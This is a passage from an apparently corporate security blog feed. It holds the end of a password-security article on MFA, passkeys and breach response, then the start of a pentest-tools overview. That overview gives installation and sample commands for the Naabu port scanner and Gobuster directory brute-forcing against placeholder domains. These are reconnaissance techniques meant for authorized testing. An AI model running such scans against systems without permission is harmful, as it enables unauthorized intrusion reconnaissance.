&lt;p&gt;Multi-factor authentication (MFA) requires attackers to know both the password and a second factor - such as a TOTP code from an authenticator app or an SMS code. This makes a compromised factor alone worthless.&lt;/p&gt;
&lt;p&gt;There are various MFA methods with different security levels:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;FIDO2/Passkeys:&lt;/strong&gt; Highest security, technically impossible to phish&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TOTP apps (Microsoft/Google Authenticator):&lt;/strong&gt; Good for most cases&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SMS OTP:&lt;/strong&gt; Better than nothing, but SIM swapping is a known attack scenario&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Email OTP:&lt;/strong&gt; Vulnerable if the email account itself is compromised&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A critical point: TOTP and SMS can be bypassed via real-time phishing relays. An attacker operates a phishing site; the victim enters the TOTP code, and the attacker immediately forwards it to the real server - the 30-second window is more than sufficient.&lt;/p&gt;
&lt;h3 id=&quot;passkeys-the-phishing-proof-alternative&quot;&gt;Passkeys: The phishing-proof alternative&lt;/h3&gt;
&lt;p&gt;Passkeys are the implementation of the FIDO2 standard, which is natively supported on Apple, Google, and Microsoft platforms. The core principle differs fundamentally from passwords: no secret is ever transmitted.&lt;/p&gt;
&lt;p&gt;During registration, the device generates a key pair. The private key remains on the device and never leaves it. The public key is sent to the server. During login, the device signs a server challenge with the private key - biometrics or a PIN unlock the private key locally. The server verifies the signature using the stored public key.&lt;/p&gt;
&lt;p&gt;What is never transmitted: no password, no private key, no biometric data (Face ID remains on the iPhone or Android).&lt;/p&gt;
&lt;p&gt;Phishing protection stems from origin binding: the private key is bound to a domain. On a phishing domain with a similar but different domain name, the origin is different - the signature fails, making login technically impossible.&lt;/p&gt;
&lt;p&gt;According to the FIDO Alliance, over 13 billion passkey-enabled devices will be in use worldwide by 2024. Apple, Google, and Microsoft have supported passkeys natively since 2022/2023. Over 10,000 services - including Shopify, GitHub, and PayPal - already support passkeys. Google has not recorded a single account takeover via phishing since its internal FIDO2 rollout in 2017.&lt;/p&gt;
&lt;h3 id=&quot;user-acceptance-and-misconceptions&quot;&gt;User Acceptance and Misconceptions&lt;/h3&gt;
&lt;p&gt;A study by Ruhr University Bochum, the Max Planck Institute for Security and Privacy, and the University of Chicago involving 414 participants found that around 70 percent of users mistakenly believe that their fingerprint is transmitted to the provider and stored there during passwordless login. In fact, the cryptographic key remains exclusively on the end device.&lt;/p&gt;
&lt;p&gt;Another 60 percent of respondents assumed they would lose access to their account entirely if their fingerprint sensor malfunctioned - even though WebAuthn offers a PIN alternative. At the same time, 93 percent of respondents generally trust biometric protection.&lt;/p&gt;
&lt;p&gt;The researchers’ conclusion: The most important message is that biometric data is not transmitted to the provider. Passkeys are more secure and faster than passwords - the user experience takes about 2 seconds instead of 12.5 seconds with a password plus TOTP.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;what-to-do-if-your-password-has-been-stolen&quot;&gt;What to do if your password has been stolen?&lt;/h2&gt;
&lt;h3 id=&quot;how-attackers-handle-stolen-passwords&quot;&gt;How attackers handle stolen passwords&lt;/h3&gt;
&lt;p&gt;In early 2019, one of the largest datasets of login credentials at the time was published: approximately 773 million email addresses and 21 million passwords. Attackers do not use such lists indiscriminately. They are specifically tailored to the victim.&lt;/p&gt;
&lt;p&gt;A Schalke04 fan is highly unlikely to use “Dortmund123” as a password - such social engineering assumptions help attackers filter the password list and increase the likelihood of a match. Personal references like club names or family names on social media make the password vulnerable.&lt;/p&gt;
&lt;p&gt;Blackmail emails that contain a real password and threaten to release webcam footage exploit exactly these data breaches. Criminals usually do not possess any video recordings - they obtain login credentials exclusively from old data breaches, some dating back over ten years. No one should give in to such blackmail.&lt;/p&gt;
&lt;h3 id=&quot;heres-how-to-check-if-your-data-has-been-compromised&quot;&gt;Here’s how to check if your data has been compromised&lt;/h3&gt;
&lt;p&gt;Troy Hunt’s website &lt;strong&gt;haveibeenpwned.com&lt;/strong&gt; allows you to check email addresses for known data breaches for free. We advise against running actively used passwords through the database. The Hasso Plattner Institute in Potsdam operates a German alternative: The &lt;strong&gt;HPI Identity Leak Checker&lt;/strong&gt; only reveals information once you have verified yourself as the owner of the email address.&lt;/p&gt;
&lt;h3 id=&quot;immediate-steps-to-take-in-the-event-of-a-data-breach&quot;&gt;Immediate steps to take in the event of a data breach&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Immediately change the affected password on all services&lt;/strong&gt; where you have used it&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Enable MFA&lt;/strong&gt; on the affected account and on all other important accounts&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Set up a password manager&lt;/strong&gt; to use a unique password for each service in the future&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check&lt;/strong&gt; whether your email account is still under your control - email access is the master key for password resets on all other services&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Blackmail emails containing a real (but old) password indicate that this password originated from an old data breach. If you have already changed it, there is no immediate need for action beyond confirming the facts.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;common-password-mistakes---and-how-to-avoid-them&quot;&gt;Common Password Mistakes - and How to Avoid Them&lt;/h2&gt;
&lt;h3 id=&quot;mistake-1-personal-references-in-your-password&quot;&gt;Mistake 1: Personal references in your password&lt;/h3&gt;
&lt;p&gt;Birthdays, pet names, favorite sports team names - all of these are easy for attackers to find on social media. A hacker looking to learn more about their target will first check LinkedIn, Facebook, and Instagram. Anyone using “schalke04” or “Bundesliga2024” as a password makes it especially easy for attackers: Such passwords are at the top of personalized word lists.&lt;/p&gt;
&lt;p&gt;The Hasso Plattner Institute analyzed passwords from public data breaches: “123456” is the most frequently stolen password of all. Right behind it are keyboard patterns like “qwerty,” “qwertz,” and “asdfgh” - patterns that are the first to be tried in every attack list.&lt;/p&gt;
&lt;h3 id=&quot;mistake-2-writing-down-passwords-on-sticky-notes&quot;&gt;Mistake 2: Writing down passwords on sticky notes&lt;/h3&gt;
&lt;p&gt;Writing down passwords on a sticky note under the keyboard, behind the screen, or on a label next to the computer is a common practice - especially in office environments. The problem: Anyone with physical access to the workstation also has access to all saved accounts.&lt;/p&gt;
&lt;p&gt;At home, the risk is lower, but not zero. In public areas - offices, coworking spaces, reception areas - passwords should never be written down in plain sight. A password manager eliminates the need for this practice, as passwords are stored securely and automatically filled in when needed.&lt;/p&gt;
&lt;h3 id=&quot;mistake-3-using-the-same-password-for-email-and-other-services&quot;&gt;Mistake 3: Using the Same Password for Email and Other Services&lt;/h3&gt;
&lt;p&gt;Your email account is the master key for all your other passwords. Forgotten passwords are reset via email. So if you use the same email-password combination across multiple services and the password falls into the wrong hands due to a data breach, in the worst-case scenario you lose control of all linked accounts - and can no longer regain access by resetting the password yourself.&lt;/p&gt;
&lt;p&gt;Your email account password should always:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;be unique (not used anywhere else)&lt;/li&gt;
&lt;li&gt;be long (15 characters or more)&lt;/li&gt;
&lt;li&gt;be secured with MFA&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;mistake-4-saving-passwords-in-the-browser&quot;&gt;Mistake 4: Saving passwords in the browser&lt;/h3&gt;
&lt;p&gt;Browsers offer password storage as a convenience feature. This is practical - but browsers are primarily designed for browsing, not for the secure management of login credentials. Certain attack vectors that exploit browser vulnerabilities can access stored passwords. Additionally, many browsers sync passwords via cloud services, which may not offer the same level of protection as a dedicated password manager.&lt;/p&gt;
&lt;p&gt;For occasional, non-critical logins, browser storage may be acceptable. For important accounts - email, banking, corporate logins - a dedicated password manager is recommended.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;password-security-in-different-contexts&quot;&gt;Password Security in Different Contexts&lt;/h2&gt;
&lt;h3 id=&quot;personal-secure-the-most-important-accounts-first&quot;&gt;Personal: Secure the Most Important Accounts First&lt;/h3&gt;
&lt;p&gt;Not all accounts are equally important. Prioritizing helps:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Critical (secure first):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Email account (master key for all others)&lt;/li&gt;
&lt;li&gt;Online banking and payment services&lt;/li&gt;
&lt;li&gt;Most important social media accounts (identity, privacy)&lt;/li&gt;
&lt;li&gt;Cloud storage with sensitive data (photos, documents)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Medium:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Shopping accounts with saved payment methods&lt;/li&gt;
&lt;li&gt;Streaming services&lt;/li&gt;
&lt;li&gt;Employer VPNs and portals&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Less critical:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Forum accounts without personal data&lt;/li&gt;
&lt;li&gt;Newsletter subscriptions&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The effort required for each account should be proportional to the sensitivity of the stored data. A password manager makes it much easier to use unique passwords even for less important accounts - without any extra mental effort.&lt;/p&gt;
&lt;h3 id=&quot;in-the-workplace-unique-challenges&quot;&gt;In the Workplace: Unique Challenges&lt;/h3&gt;
&lt;p&gt;Corporate environments have specific requirements. The average employee manages over 90 online accounts - many of them work-related. Compromised corporate credentials can have far-reaching consequences: data breaches, ransomware attacks, regulatory penalties.&lt;/p&gt;
&lt;p&gt;Specific risk areas in a corporate context:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Shared accounts:&lt;/strong&gt; Multiple people share a single password - no one is held accountable, and changes are uncontrolled&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Default passwords:&lt;/strong&gt; New systems come with default credentials (admin/admin, root/root) that are never changed&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Departing employees:&lt;/strong&gt; Passwords known to former employees that are not changed immediately&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These specific challenges and solutions are discussed in detail in our article on secure password policies for businesses.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;for-businesses-password-policies-and-security-awareness&quot;&gt;For Businesses: Password Policies and Security Awareness&lt;/h2&gt;
&lt;p&gt;Enterprise environments face unique challenges. Employees manage an average of over 90 online accounts. A single compromised personal email password can be used via credential stuffing to gain access to the company’s SSO.&lt;/p&gt;
&lt;p&gt;Modern password policies for businesses - such as those outlined in NIST SP 800-63B (2017, updated 2024) and by the BSI in its IT-Grundschutz compendiums - focus on length rather than enforced complexity and do away with routine password change intervals. This topic is covered in detail in our article on secure password policies for businesses.&lt;/p&gt;
&lt;p&gt;Practical implementation: Employees who understand &lt;strong&gt;why&lt;/strong&gt; password hygiene is important protect themselves better than those who merely follow rules. Security awareness training - featuring live hacking demonstrations that show how quickly weak passwords can be cracked - sustainably increases motivation for behavioral change.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://a7.de/en/services/security-awareness/&quot;&gt;Request security awareness training&lt;/a&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;faq-password-security&quot;&gt;FAQ: Password Security&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;How long does a secure password need to be?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;At least 12 characters; 15 or more are recommended. Length is more important than forced complexity through special characters. A 16-character password without special characters is more secure than an 8-character password with many special characters.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How often should I change my password?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;According to BSI and NIST: only if there is concrete evidence of a breach - not routinely every 90 days. Forced regular changes lead to predictable patterns (Version1, Version2) and reduce security in practice.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the difference between a password and a passphrase?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A passphrase consists of several words, while a password typically consists of a combination of characters. Passphrases made up of random, thematically unrelated words are easier to remember and - if long enough - are at least as secure as cryptic short passwords.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is a password manager, and do I need one?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A password manager is an encrypted digital vault that securely stores passwords and automatically fills them in. You only need to remember a single strong master password. Without a password manager, consistent password hygiene (a unique password for every service) is practically impossible to achieve. You can find details on the best password managers in our &lt;a href=&quot;https://a7.de/en/blog/password-manager-comparison-2026-keepass-bitwarden-1password-more/&quot;&gt;password manager comparison&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What are passkeys, and are they more secure than passwords?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Passkeys are a FIDO2-based authentication method in which no secret is ever transmitted. They are technically phishing-proof - logging in with the real passkey on a phishing domain is technically impossible. Since the internal FIDO2 rollout in 2017, Google has not recorded a single account takeover via phishing. Passkeys are the most secure authentication method currently available.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What should I do if I receive a blackmail email containing one of my real passwords?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Do not pay. Such emails originate from old data breaches and usually contain no evidence of actual webcam recordings or similar threats. Check haveibeenpwned.com to see if your email address is included in a known data breach, and immediately change the password in question on all services where you have used it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How can I tell if my password was involved in a data breach?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Check your email address for free at haveibeenpwned.com or using the HPI Identity Leak Checker from the Hasso Plattner Institute at the Hasso Plattner Institute in Potsdam. The HPI Identity Leak Checker only sends results after you confirm your email address, which enhances data protection.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Password security isn’t a one-time project, but an ongoing practice. The easiest first step: Set up a password manager today - and enable MFA on your most important accounts. You can find the right manager for your situation in our &lt;a href=&quot;https://a7.de/en/blog/password-manager-comparison-2026-keepass-bitwarden-1password-more/&quot;&gt;Password Manager Comparison&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For companies that want to know how resilient their employees really are against password attacks and phishing: &lt;a href=&quot;https://a7.de/en/services/security-awareness/&quot;&gt;Request Security Awareness Training&lt;/a&gt;&lt;/p&gt;</content:encoded><category>Security Awareness</category><author>kontakt@a7.de (Chris Wojzechowski)</author></item><item><title>Pentest Tools: The Best Tools for Penetration Testers [2026]</title><link>https://a7.de/en/blog/pentest-tools-the-best-tools-for-penetration-testers-2026/</link><guid isPermaLink="true">https://a7.de/en/blog/pentest-tools-the-best-tools-for-penetration-testers-2026/</guid><description>Penetration testing tools from reconnaissance to exploitation: what each tool does, its installation, and sample commands for practical use.</description><pubDate>Thu, 26 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Penetration testers don’t need a single all-purpose tool - they need the &lt;strong&gt;right tool for the right phase&lt;/strong&gt;. A port scanner is of little use if a target hasn’t been defined yet. An exploit framework is out of place before the attack surface has been fully mapped. The difference between a good and an excellent pentest often lies in using the right tool for the situation.&lt;/p&gt;
&lt;p&gt;As a company specializing in &lt;a href=&quot;https://a7.de/en/services/penetration-testing/&quot;&gt;penetration testing&lt;/a&gt;, we at AWARE7 GmbH have developed a toolset over the years that automates typical processes without losing sight of what matters most. No two penetration tests are alike, which is why you always need an expert who knows what to look for - and which tool will best help them do so.&lt;/p&gt;
&lt;p&gt;This article compiles the most important penetration testing tools, organized by phase of deployment: from initial reconnaissance through scanning and enumeration to exploitation and specialized platform testing.&lt;/p&gt;
&lt;p&gt;&amp;gt; &lt;strong&gt;Important Note:&lt;/strong&gt; All tools presented here may only be used on systems for which explicit authorization has been granted. Unauthorized penetration tests are punishable by law.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;how-penetration-testing-tools-work&quot;&gt;How Penetration Testing Tools Work&lt;/h2&gt;
&lt;p&gt;Penetration tests follow a structured pattern. Penetration testing tools support the four key phases:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Scanning:&lt;/strong&gt; Identification of known vulnerabilities and attack surfaces - largely automated by specialized tools.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Enumeration:&lt;/strong&gt; Vulnerabilities are listed and logged so that the analyst can investigate individual findings in depth.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Prioritization:&lt;/strong&gt; The pentester uses their experience to assess which vulnerabilities pose the greatest risk.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Evaluation:&lt;/strong&gt; The results are interpreted and presented in a way that allows the client to understand them and translate them into concrete actions.&lt;/p&gt;
&lt;p&gt;Tools primarily automate the first two phases. Prioritization and evaluation require human judgment - which is precisely why fully automated penetration testing solutions regularly fail.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;comparison-table-penetration-testing-tools-at-a-glance&quot;&gt;Comparison Table: Penetration Testing Tools at a Glance&lt;/h2&gt;
&lt;div class=&quot;table-scroll&quot;&gt;




















































































































































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Tool&lt;/th&gt;&lt;th&gt;Category&lt;/th&gt;&lt;th&gt;Use Case&lt;/th&gt;&lt;th&gt;Open Source?&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Naabu&lt;/td&gt;&lt;td&gt;Reconnaissance&lt;/td&gt;&lt;td&gt;Port scanning&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Gobuster&lt;/td&gt;&lt;td&gt;Enumeration&lt;/td&gt;&lt;td&gt;Directory &amp;amp; DNS brute force&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Dirbuster&lt;/td&gt;&lt;td&gt;Enumeration&lt;/td&gt;&lt;td&gt;Directory brute force (GUI)&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Dirsearch&lt;/td&gt;&lt;td&gt;Enumeration&lt;/td&gt;&lt;td&gt;Directory brute force (CLI)&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;SSLScan&lt;/td&gt;&lt;td&gt;Scanning&lt;/td&gt;&lt;td&gt;SSL/TLS encryption analysis&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Arjun&lt;/td&gt;&lt;td&gt;Enumeration&lt;/td&gt;&lt;td&gt;HTTP parameter discovery&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;XSStrike&lt;/td&gt;&lt;td&gt;Vulnerability Testing&lt;/td&gt;&lt;td&gt;XSS detection + WAF fingerprinting&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Typo3Scan&lt;/td&gt;&lt;td&gt;Specialized&lt;/td&gt;&lt;td&gt;TYPO3 misconfiguration scanner&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Nmap&lt;/td&gt;&lt;td&gt;Reconnaissance&lt;/td&gt;&lt;td&gt;Network port scanning + service discovery&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Metasploit&lt;/td&gt;&lt;td&gt;Exploitation Framework&lt;/td&gt;&lt;td&gt;Exploit development + vulnerability testing&lt;/td&gt;&lt;td&gt;Yes (Community)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Nikto&lt;/td&gt;&lt;td&gt;Scanning&lt;/td&gt;&lt;td&gt;Web server vulnerability scanner&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;SQLMap&lt;/td&gt;&lt;td&gt;Exploitation&lt;/td&gt;&lt;td&gt;SQL injection testing&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Wireshark&lt;/td&gt;&lt;td&gt;Analysis&lt;/td&gt;&lt;td&gt;Network packet analysis&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Burp Suite&lt;/td&gt;&lt;td&gt;Web Testing&lt;/td&gt;&lt;td&gt;Web proxy + vulnerability scanner&lt;/td&gt;&lt;td&gt;Yes (Community)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Amass / Fierce&lt;/td&gt;&lt;td&gt;Reconnaissance&lt;/td&gt;&lt;td&gt;Subdomain enumeration&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Aircrack-ng&lt;/td&gt;&lt;td&gt;WLAN&lt;/td&gt;&lt;td&gt;WiFi security analysis&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Acunetix&lt;/td&gt;&lt;td&gt;Scanning&lt;/td&gt;&lt;td&gt;Web Application Scanner (commercial)&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Nessus&lt;/td&gt;&lt;td&gt;Scanning&lt;/td&gt;&lt;td&gt;Vulnerability Assessment&lt;/td&gt;&lt;td&gt;Yes (Free, limited)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Core Impact&lt;/td&gt;&lt;td&gt;Exploitation&lt;/td&gt;&lt;td&gt;Commercial Exploit Framework&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Frida&lt;/td&gt;&lt;td&gt;iOS/Mobile&lt;/td&gt;&lt;td&gt;Runtime Instrumentation&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Objection&lt;/td&gt;&lt;td&gt;iOS/Mobile&lt;/td&gt;&lt;td&gt;iOS runtime analysis without jailbreak&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;iRET&lt;/td&gt;&lt;td&gt;iOS/Mobile&lt;/td&gt;&lt;td&gt;iOS reverse engineering toolkit&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;DVIA&lt;/td&gt;&lt;td&gt;iOS/Mobile&lt;/td&gt;&lt;td&gt;Training app for iOS penetration tests&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;1-reconnaissance-tools&quot;&gt;1. Reconnaissance Tools&lt;/h2&gt;
&lt;p&gt;The reconnaissance phase is about gathering as much information as possible about the target system: open ports, running services, subdomains, version numbers. All information found in this phase is relevant - there is no such thing as unimportant data.&lt;/p&gt;
&lt;h3 id=&quot;naabu---port-scanner-in-go&quot;&gt;Naabu - Port Scanner in Go&lt;/h3&gt;
&lt;p&gt;Naabu is a fast port scanner written in the Go programming language. Go is characterized by high speed, which is a significant advantage for scanners: The scan completes much faster than with scanners written in older languages.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Use Case:&lt;/strong&gt; Detect open ports on a target system, identify running services.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Particularly relevant are:&lt;/strong&gt; Port 3389 (Remote Desktop Protocol - waits for remote control by external computers), Port 21 (FTP), Port 22 (SSH), as well as open IoT devices or webcams that are accessible via the Internet.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Installation:&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; clone&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; https://github.com/projectdiscovery/naabu.git&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;cd&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; naabu/v2/cmd/naabu&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;go&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; build&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;mv&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; naabu&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; /usr/local/bin/&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;naabu&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -host&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; example.de&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The default settings scan the top 100 ports. The output lists all open ports along with the detected service.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3 id=&quot;nmap---network-mapping&quot;&gt;Nmap - Network Mapping&lt;/h3&gt;
&lt;p&gt;Nmap is one of the oldest penetration testing tools and receives regular updates. It is used to map a network, identify endpoints, and detect services. Thanks to TCP and UDP scanning mechanisms as well as various detection systems, Nmap is a fundamental requirement for nearly every penetration test. A GUI version (Zenmap) makes it easier to get started.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Applications:&lt;/strong&gt; Network analysis, service and version detection, operating system fingerprinting.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3 id=&quot;subdomain-enumerators-amass--fierce&quot;&gt;Subdomain Enumerators: Amass &amp;amp; Fierce&lt;/h3&gt;
&lt;p&gt;For any attacker, discovering subdomains is an essential step. Forgotten subdomains often hide old systems that are easy to attack. Two widely used tools for this task are &lt;strong&gt;Fierce&lt;/strong&gt; (included in Kali Linux) and &lt;strong&gt;Amass&lt;/strong&gt; (an OWASP project, available via GitHub).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Use case:&lt;/strong&gt; Subdomain enumeration, expanding the attack surface.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3 id=&quot;google-hacking--osint&quot;&gt;Google Hacking / OSINT&lt;/h3&gt;
&lt;p&gt;Google is not a traditional penetration testing tool, but its powerful search function makes it an important ally in information gathering. Using search operators such as &lt;code&gt;site:&lt;/code&gt;, &lt;code&gt;intitle:&lt;/code&gt;, &lt;code&gt;filetype:&lt;/code&gt;, and others, you can find CVEs, exposed files, and sensitive configurations that are publicly indexed.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Application:&lt;/strong&gt; Passive reconnaissance, OSINT.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;2-scanning--enumeration&quot;&gt;2. Scanning &amp;amp; Enumeration&lt;/h2&gt;
&lt;p&gt;The initial reconnaissance is followed by targeted scanning: Which directories exist on the web server? What encryption methods does the server accept? Which HTTP parameters does a web application process?&lt;/p&gt;
&lt;h3 id=&quot;gobuster---directory-and-dns-brute-force-in-go&quot;&gt;Gobuster - Directory and DNS Brute Force in Go&lt;/h3&gt;
&lt;p&gt;Gobuster is written in Go and is therefore significantly faster than comparable tools in older languages. It finds unlinked folders and files on web servers using wordlist brute force - and can also discover subdomains via DNS brute force.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Use Cases:&lt;/strong&gt; Hidden subpages, forgotten files on web servers, subdomain enumeration.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Pre-installed in Kali Linux:&lt;/strong&gt; Yes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gobuster&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; dir&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -u&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; https://beispiel.de&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -w&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Gobuster vs. Dirbuster:&lt;/strong&gt; Dirbuster offers a graphical interface and enables recursive searches (i.e., automatically exploring found subdirectories). Gobuster, on the other hand, is significantly faster and additionally supports DNS brute-force mode. For large web servers, Gobuster is the better choice due to its speed advantage.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3 id=&quot;dirbuster---directory-brute-force-with-gui&quot;&gt;Dirbuster - Directory Brute Force with GUI&lt;/h3&gt;
